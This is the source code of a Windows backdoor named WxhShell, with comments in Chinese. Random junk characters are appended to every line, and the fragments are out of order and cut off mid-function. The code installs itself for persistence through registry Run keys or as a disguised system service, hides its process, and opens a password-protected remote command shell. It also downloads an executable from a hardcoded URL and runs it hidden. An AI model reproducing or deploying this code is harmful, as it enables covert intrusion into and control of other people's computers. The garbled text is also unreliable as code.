DWORD PebBaseAddress; ~?+m=\
DWORD AffinityMask; ~i#xjD5
DWORD BasePriority; l:/V%{sx
ULONG UniqueProcessId; )% c)-c
ULONG InheritedFromUniqueProcessId; =W^L8!BE'
} PROCESS_BASIC_INFORMATION; ~m&oa@*=y
u<2sb;a
PROCNTQSIP NtQueryInformationProcess; 7ij=%if2@k
gZSi\m>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D4-U[l+K>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -iX!F~qS,
L, GtIZkE
HANDLE hProcess;
H;L&G|[
PROCESS_BASIC_INFORMATION pbi; ts$UC $
}#^F'%zf
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {XW>:EU'N
if(NULL == hInst ) return 0; jd'R2e
9xp
;$14
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h"S/D[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .H.v c_/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^:j:;\;
<p
.[E]a2_
if (!NtQueryInformationProcess) return 0; g5\B- 3{
hY9u#3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )ISTb
if(!hProcess) return 0; 8R D)yRJ
4(ZV\}j1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >GRuS\B
%c{)'X
CloseHandle(hProcess); K.zs;^
Z:Am\7 I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KgSxF#
if(hProcess==NULL) return 0; !!>G{
bm?TMhC
HMODULE hMod; g"f^YEQ_
char procName[255];
o`0H(\en
unsigned long cbNeeded; =Ji:nEl]z
$^>vJk<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /HD2F_XA
-lEh}r
CloseHandle(hProcess); r"{1H
5E=Odep`
if(strstr(procName,"services")) return 1; // 以服务启动 mg]dK p
Ca|;8ggf
return 0; // 注册表启动 "TI?
qoz
} WRM}gWv*
A/aQpEb%
// 主模块 gQwmYe
int StartWxhshell(LPSTR lpCmdLine) X2Mj|_#u
{ qo|iw+0Y
SOCKET wsl; v_h{_b8
BOOL val=TRUE; j=4>In?x
int port=0; $!w%=
struct sockaddr_in door; &rKhB-18)
_>I5Ud8(-
if(wscfg.ws_autoins) Install(); ]Hq%Q~cE
".IhV<R
port=atoi(lpCmdLine); V:18]:
_A*0K,F-
if(port<=0) port=wscfg.ws_port; SF7
Scd
v<W++X7z
WSADATA data; ;<H2N0qJ(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /.bwwj_;
J$[Vm%56
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "?-s
Qn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eH6cBX#P.
door.sin_family = AF_INET; i9tM]/SP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); L zC~> Uj
door.sin_port = htons(port); O*7
pg
f0+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DK;-2K
closesocket(wsl); g.Q ?Z{
return 1; |1R@Jz`
} >{Q2S
3&f{lsLAC
if(listen(wsl,2) == INVALID_SOCKET) { 'z/hj>B<
closesocket(wsl); XlPy(>
return 1; \&0NH=*^
} >{Djx
Wxhshell(wsl); >E3OYa?G
WSACleanup(); Sb.;$Be5g
VXp
X#O
return 0; Vv]mME@
wW~2]*n
} PoZBiw@
r>\.b{wI
// 以NT服务方式启动 A[MEtI=Q J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |EunDb[Y
{ '"Gi&:*nQ<
DWORD status = 0; l"/O s_4O
DWORD specificError = 0xfffffff; t*#T~3p
J5wq}<8
serviceStatus.dwServiceType = SERVICE_WIN32; ="4 )!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ifUgj8i_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; va\cE*,@ns
serviceStatus.dwWin32ExitCode = 0; PQ" Dl=,
serviceStatus.dwServiceSpecificExitCode = 0; h.NA$E?7
serviceStatus.dwCheckPoint = 0; Sj\8$QIXC
serviceStatus.dwWaitHint = 0; rE
8-MB
Rd/!CJ@g
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lCXo+|$?s
if (hServiceStatusHandle==0) return; 3c)xNXq m
} 2KuY\5\i
status = GetLastError(); qW*)]s)z
if (status!=NO_ERROR) G8VWx&RE
{ ! WNr09`
serviceStatus.dwCurrentState = SERVICE_STOPPED; }tN"C 3)@
serviceStatus.dwCheckPoint = 0; Flsf5 Tr0
serviceStatus.dwWaitHint = 0; HXX"B,N
serviceStatus.dwWin32ExitCode = status; sy;~(rpg
serviceStatus.dwServiceSpecificExitCode = specificError; f`cO5lP/:)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0:nyOx(;
return; $|KbjpQ
} 38F8(QU{
C'Q} Z_
serviceStatus.dwCurrentState = SERVICE_RUNNING; NR" Xn7G
serviceStatus.dwCheckPoint = 0; >Uz3F7nHi
serviceStatus.dwWaitHint = 0; P:G^@B3^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o/&Q^^Xj^~
} G"]'`2.m
*=rl<?tX
// 处理NT服务事件,比如:启动、停止 @L0.Z1 ).
VOID WINAPI NTServiceHandler(DWORD fdwControl) mSs%g L]g
{ ^+88z>
switch(fdwControl) $P$OWp?b
{ B4%W,F:@
case SERVICE_CONTROL_STOP: \RJ428sxn
serviceStatus.dwWin32ExitCode = 0; "\30YO>\
serviceStatus.dwCurrentState = SERVICE_STOPPED; [1Rs~T"
serviceStatus.dwCheckPoint = 0; ]*).3<Lw
serviceStatus.dwWaitHint = 0; n=`UhC
{ 3LG)s:p$/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B|tP3<
} cOcm9m#
return; 5=eGiF;0\
case SERVICE_CONTROL_PAUSE: Q/':<QY
serviceStatus.dwCurrentState = SERVICE_PAUSED; :EZTJu
break; i9Qx{f88
case SERVICE_CONTROL_CONTINUE: W1 E((2
serviceStatus.dwCurrentState = SERVICE_RUNNING; AyddkjX
break; :%R3(
&
case SERVICE_CONTROL_INTERROGATE: I/ c*
?
break; yA~W|q(/V
}; (sY?"(~j?T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &@yW<<
} g94NU
X
Y`%:hvy~
// 标准应用程序主函数 L49`=p<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }JS?42CTaV
{ xRb-m$B}L
E=7~\7TE
// 获取操作系统版本 ^j@,N&W:lG
OsIsNt=GetOsVer(); <S<(wFE@4
GetModuleFileName(NULL,ExeFile,MAX_PATH); @#nB]qV:e
h/d&P
// 从命令行安装 bx1'
if(strpbrk(lpCmdLine,"iI")) Install(); o}<}zTU
S>nM&758
// 下载执行文件 -YD6
if(wscfg.ws_downexe) { 7yK
>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5E$)Ip
WinExec(wscfg.ws_filenam,SW_HIDE); WSL_Dc
} tR1
kn&w
~Os~pTo
if(!OsIsNt) { ip~PF5
// 如果时win9x,隐藏进程并且设置为注册表启动 ?_IRO|
HideProc(); 1Nv_;p.{
StartWxhshell(lpCmdLine); K*>lq|iu
} MbYAK-l.h
else 6#v"+V
if(StartFromService()) ZhW>H
// 以服务方式启动 Y<l{DmrsA
StartServiceCtrlDispatcher(DispatchTable); |iJ37QIM
else B+ +:7!
// 普通方式启动 |dK_^~;o
StartWxhshell(lpCmdLine); ,JX/`7y
ygh*oVHO
return 0; M(xd:Fa?
} ;a2TONW
42mdak}\
C*=#=.~~{
z>~Hc8*]3
=========================================== ?Yxk1Y4ig)
jT%k{"+>+?
\f.ceh;!
bmFnsqo
p \1-.
<rNCb;
" 4 QD.'+L
!>TH#sU$
#include <stdio.h> s+l)Q
#include <string.h> d
H]'&&M
#include <windows.h> pPUKx=d
#include <winsock2.h> 'Tj9btM*cL
#include <winsvc.h> &^92z:?
#include <urlmon.h> ZBi|BD
q<dZy? f
#pragma comment (lib, "Ws2_32.lib") crG+BFi
#pragma comment (lib, "urlmon.lib") Vv#|%^0
UoCFj2?C
#define MAX_USER 100 // 最大客户端连接数 s${ew.eW
#define BUF_SOCK 200 // sock buffer a~jM^b;VN
#define KEY_BUFF 255 // 输入 buffer
G<U MZg
6x7pqHM
#define REBOOT 0 // 重启 1)U%p
#define SHUTDOWN 1 // 关机 n]jZ2{g+
?*){%eE
#define DEF_PORT 5000 // 监听端口 dX?8@uzu
Q)#+S(TG
#define REG_LEN 16 // 注册表键长度 8wMu^3r
#define SVC_LEN 80 // NT服务名长度 &N.D!7X
u6j\@U6 I
// 从dll定义API q3<Pb,Z
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :=3Ty]e
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LNOm"D?"
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %#7Yr(&
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SjgjGJw
(< gk<e*
// wxhshell配置信息 6SJ
struct WSCFG { H:TRJ.!w2
int ws_port; // 监听端口 ju~js
char ws_passstr[REG_LEN]; // 口令 Sxa+"0d6
int ws_autoins; // 安装标记, 1=yes 0=no W{B)c?G]
char ws_regname[REG_LEN]; // 注册表键名 ~ (I'm[
char ws_svcname[REG_LEN]; // 服务名 2|8e7q: +*
char ws_svcdisp[SVC_LEN]; // 服务显示名 Hx5t![g2K!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 d2Pqi* K
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (
E;!.=%
int ws_downexe; // 下载执行标记, 1=yes 0=no ~H`~&?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Uw}!>`%
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {a;my"ly
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}; dz3chy,3
9Kf# jZ
// default Wxhshell configuration 9M8n
struct WSCFG wscfg={DEF_PORT, WrP4*6;"
"xuhuanlingzhe", /i.3v45t"
1, ~;>
psNy
"Wxhshell", 6HeZ<.d&
"Wxhshell", m_
>+$uL
"WxhShell Service", HY|=Z\l"
"Wrsky Windows CmdShell Service", 2B Dz \
"Please Input Your Password: ", 0Rgo#`7l
1, C{^U^>bU
"http://www.wrsky.com/wxhshell.exe", HuzHXn)
"Wxhshell.exe" `tZ m
}; csABfxib
ay4E\=k
// 消息定义模块 %\<SSp^n
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a$-:F$z
char *msg_ws_prompt="\n\r? for help\n\r#>"; |:Q`9;
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zI1-l9 o
char *msg_ws_ext="\n\rExit."; xd
}g1c
char *msg_ws_end="\n\rQuit."; 8Evon&G59
char *msg_ws_boot="\n\rReboot..."; 4K{<R!2I
char *msg_ws_poff="\n\rShutdown..."; 1HPYW7jk@"
char *msg_ws_down="\n\rSave to "; <e)5$Aj
JzI/kH~
char *msg_ws_err="\n\rErr!"; y{{7)G
char *msg_ws_ok="\n\rOK!"; Tp-<!^o4
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char ExeFile[MAX_PATH]; A 9\]y%!
int nUser = 0; &"G4yM
HANDLE handles[MAX_USER]; |1M+FBT$w
int OsIsNt; vMT:j
"'i" @CR
SERVICE_STATUS serviceStatus; }fzv9$]$
SERVICE_STATUS_HANDLE hServiceStatusHandle; rsSE*(T
t
)}`3haG
// 函数声明 H!uB&qY
int Install(void); 'a1%`rzm
int Uninstall(void); VkKq<`t<
int DownloadFile(char *sURL, SOCKET wsh); LNm{}VJ%
int Boot(int flag); U TT 7a"
void HideProc(void); q4Z9;^S
int GetOsVer(void); e;_ cC7
int Wxhshell(SOCKET wsl); CB&$tDi
void TalkWithClient(void *cs); '(N -jk
int CmdShell(SOCKET sock); ^
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int StartFromService(void); X"'c2gaa_
int StartWxhshell(LPSTR lpCmdLine); T8*<
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `VJJ"v<L
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R>
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// 数据结构和表定义 +*Um:}&
SERVICE_TABLE_ENTRY DispatchTable[] = Jng,:$sZ
{ srX" vF
{wscfg.ws_svcname, NTServiceMain}, q>JW$8
{NULL, NULL} 4|PNsHXt
}; \*24NB
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// 自我安装 "'M>%m u
int Install(void) /d<"{\o
{ 8`edskWrU
char svExeFile[MAX_PATH]; " w0[l"3V
HKEY key; DH@})TN*O
strcpy(svExeFile,ExeFile); RfM
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-&3WN!egq
// 如果是win9x系统,修改注册表设为自启动 H?ZlJ|/c
if(!OsIsNt) { k Z^}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g8I=s7cnb
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y:\ ^[y IQ
RegCloseKey(key); zQ[g*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )qi/> GR,
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * &iSW~s
RegCloseKey(key); [5KzawV
return 0; HkH!B.H]
} ^Md]e<WAp
} u2p5*gzZ
} ~[E@P1
else { ;a]Lxx;-
}digw(
// 如果是NT以上系统,安装为系统服务 .Fdqn?c|+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q"2t:
if (schSCManager!=0) F.nJXZnJ
{ o\Ocu>:
SC_HANDLE schService = CreateService WGxe3(d
( [8T
schSCManager, fa~u<